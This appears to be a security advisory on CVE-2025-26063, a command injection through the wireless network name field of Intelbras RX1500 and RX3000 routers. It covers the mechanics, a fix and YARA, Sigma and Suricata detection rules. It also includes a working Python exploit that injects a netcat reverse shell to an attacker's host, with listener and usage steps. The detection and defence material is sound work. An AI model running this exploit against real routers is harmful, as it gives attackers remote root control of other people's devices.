CVE-2025-26063

Executive Summary

CVE-2025-26063 is a critical unauthenticated remote code execution vulnerability affecting Intelbras RX1500 (v2.2.9) and RX3000 (v1.0.11) routers. The flaw resides in the network creation functionality, where the ESSID (network name) field is not properly sanitized. An unauthenticated attacker can inject a crafted payload into the ESSID name, leading to arbitrary code execution on the device. This vulnerability is particularly dangerous as it requires no authentication and can be exploited over the network, potentially allowing full device compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Intelbras networking hardware.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, the following is a reasonable assessment:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full device access leads to data exposure.
• Integrity (I): High (H) – Attacker can modify router configuration.
• Availability (A): High (H) – Attacker can disrupt router operation.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of unauthenticated remote access and arbitrary code execution makes this a high-priority vulnerability for any organization using these Intelbras routers.

Deep Dive & Mechanics

The vulnerability exists in the web management interface of the Intelbras routers. When an administrator (or any user with network creation privileges) creates a new wireless network, the ESSID (Extended Service Set Identifier) field is processed without proper input validation or sanitization. An attacker can craft a malicious ESSID string containing operating system commands or script injections.

The injection likely occurs because the ESSID value is passed to a system command or script that configures the wireless interface. For example, the router might execute a command like:

iwconfig wlan0 essid [USER_INPUT]

If the input is not sanitized, an attacker can inject command separators (e.g., ;, |, &&) to execute arbitrary commands.

Attack Flow:

1. Attacker identifies a vulnerable Intelbras router (RX1500 or RX3000).
2. Attacker sends a crafted HTTP request to the router's management interface (e.g., /goform/setWizard or similar endpoint) with a malicious ESSID payload.
3. The router processes the request and executes the injected commands with root privileges.
4. Attacker gains full control over the device.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# Pseudocode for vulnerable router firmware
def create_network(essid, password):
    command = f"iwconfig wlan0 essid {essid}"
    os.system(command)

Patched Code (Conceptual):

# Pseudocode for patched firmware
import shlex
def create_network(essid, password):
    safe_essid = shlex.quote(essid)  # Properly escape shell metacharacters
    command = f"iwconfig wlan0 essid {safe_essid}"
    os.system(command)

The key difference is the use of input sanitization (e.g., shlex.quote()) to prevent command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Vulnerable Intelbras RX1500 (v2.2.9) or RX3000 (v1.0.11) router.
• Network access to the router's management interface (typically port 80 or 443).
• Python3 with requests library.

Exploit Script:

#!/usr/bin/env python3
import requests
import sys

def exploit(target_ip, lhost, lport):
    # Malicious ESSID payload - reverse shell
    payload = f"'; nc -e /bin/sh {lhost} {lport} #"
    
    # URL for network creation (example endpoint)
    url = f"http://{target_ip}/goform/setWizard"
    
    data = {
        "essid": payload,
        "password": "password123",
        "encryption": "WPA2"
    }
    
    try:
        print(f"[*] Sending exploit to {target_ip}")
        r = requests.post(url, data=data, timeout=10)
        print(f"[*] Response: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <target_ip> <lhost> <lport>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

Usage:

1. Start a netcat listener: nc -lvnp 4444
2. Run the exploit: python3 exploit.py 192.168.1.1 192.168.1.100 4444
3. Receive reverse shell on the listener.

Blue Team

Detection Steps:

1. Monitor for unusual HTTP POST requests to /goform/setWizard or similar endpoints.
2. Look for ESSID values containing shell metacharacters (;, |, &, `).
3. Check for outbound connections from the router to unknown IPs (potential reverse shells).
4. Review router logs for unexpected command execution.

Honeypot Configuration:

# Simple honeypot to detect exploitation attempts
version: '3'
services:
  honeypot:
    image: python:3-alpine
    command: >
      python -c "
      from http.server import HTTPServer, BaseHTTPRequestHandler
      class Handler(BaseHTTPRequestHandler):
        def do_POST(self):
          content_length = int(self.headers['Content-Length'])
          body = self.rfile.read(content_length)
          print(f'[ALERT] Exploit attempt: {body}')
          self.send_response(200)
          self.end_headers()
      HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
      "
    ports:
      - "80:80"

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/setWizard with suspicious ESSID values.
• Outbound connections from the router to unusual IP addresses on common ports (4444, 1337, etc.).
• DNS queries to known C2 domains.

Host IOCs (on compromised router):

• Unexpected processes running (e.g., nc, bash, python).
• Modified configuration files (e.g., /etc/config/wireless).
• New user accounts or SSH keys.
• Unusual cron jobs.

File IOCs:

• /tmp/*.sh - Temporary shell scripts.
• /var/run/*.pid - Unexpected PID files.
• Modified /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2025_26063_Intelbras_ESSID_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-26063 via ESSID injection"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26063"
    strings:
        $essid_payload = /essid=[^&]*[;|&`$]/
        $shell_metachar = /[;|&`$]/
        $cmd_exec = /(nc|bash|sh|python|perl|wget|curl)/
    condition:
        $essid_payload and $shell_metachar and $cmd_exec
}

Sigma Rule

title: Intelbras Router ESSID Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Intelbras router endpoints with suspicious ESSID values
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/goform/setWizard'
    keywords:
        - 'essid='
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate network names with special characters (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-26063 Intelbras Router ESSID Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/setWizard"; http_uri;
    content:"essid="; http_client_body;
    pcre:"/essid=[^&]*(?:;|\||&|`|\$\(|\))/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-26063;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: If possible, disconnect Intelbras RX1500/RX3000 routers from the network until a patch is available.
2. Disable remote management: If remote management is not required, disable it to reduce the attack surface.
3. Restrict network access: Use firewall rules to limit access to the router's management interface to trusted IPs only.

Long-term Solutions:

1. Firmware update: Monitor Intelbras's official website for a firmware patch. Apply it as soon as it becomes available.
2. Replace hardware: If no patch is released, consider replacing the affected routers with alternative, supported hardware.
3. Implement WAF: Deploy a Web Application Firewall (WAF) in front of the router's management interface to filter malicious payloads.

Workaround (if patching is not possible):

• Manually sanitize ESSID inputs by restricting allowed characters (e.g., only alphanumeric and spaces) in the router's configuration interface.

Valters IT
Securing Digital Frontiers